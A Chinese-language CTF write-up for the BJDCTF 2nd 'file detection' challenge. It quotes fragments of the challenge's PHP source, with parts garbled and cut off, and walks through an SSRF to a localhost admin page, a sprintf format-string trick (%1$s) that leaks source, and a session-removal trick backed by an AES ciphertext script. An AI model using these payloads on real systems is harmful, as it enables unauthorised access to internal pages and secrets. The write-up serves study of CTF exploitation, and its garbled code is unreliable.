[BJDCTF 2nd]文件探测

[BJDCTF 2nd]文件探测

这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的。

home.php:

";
        require $file;
    }
} else {
    echo "";
}

根据条件得到system.php:

alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '       Error:  url invalid
~$ '; $str3 = '       Error:  damn hacker!
~$ '; $str4 = '       Error:  request method error
~$ '; ?> ·····································//中间为html。 "; echo $str1; if (!preg_match($filter1, $url) ){ die($str2); } if (preg_match($filter2, $url)) { die($str3); } if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) { die($str4); } $detect = @file_get_contents($url, false); print(sprintf("$url method&content_size:$method%d", $detect)); } ?>

在这里他要求我们q2一定要有http://127.0.0.1/,但同时后面不能跟上flag文件,但是可以看到admin文件。
加入我们跟上admin文件,但他后面跟上了一个tctxt文件进行了打乱,对于这种我们可以加上#即锚点,或者是加上参数。
第二个点:这里有个%d需要注意,在linux当中,这是显示二进制的,在这里,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码,所以我们要让他以%s进行显示输出。
%s%或者是%1$s
第一个原理是利用到了sprintf函数,sprintf()函数中%可以转义掉%,print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义,因此失去意义
第二个原理是:原理是%1$s会将第一个参数用string类型输出 payload:q1=22&q2=http://127.0.0.1/admin.php#&q3=GET%1$s payload:q1=1&q2=http%3A%2F%2F127.0.0.1%2Fadmin.php?a=1&q3=GET%251%24s

403 Forbidden

only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR']; } $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']); if (isset($_GET['decrypt'])) { $decr = $_GET['decrypt']; if (Check()){ $data = $_SESSION['secret']; include 'flag_2sln2ndln2klnlksnf.php'; $cipher = aesEn($data, 'y1ng'); if ($decr === $cipher){ echo WHAT_YOU_WANT; } else { die('爬'); } } else{ header("Refresh:0.1;url=index.php"); } } else { //I heard you can break PHP mt_rand seed mt_srand(rand(0,9999999)); $length = mt_rand(40,80); $_SESSION['secret'] = bin2hex(random_bytes($length)); } ?>

这里我们进行代码的分析,发现只要不存在session ,且其他的两个cookie照常不变,那么我们就能进行到左后的判断了,这个时候我们将空加密的密钥拿出来,使用get访问满足相等的条件

构造脚本:

function aesEn($data, $key){
    $method = 'AES-128-CBC';
    $iv = md5('IP',true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng') //照着admin.php来就行,

你可能感兴趣的:([BJDCTF 2nd]文件探测)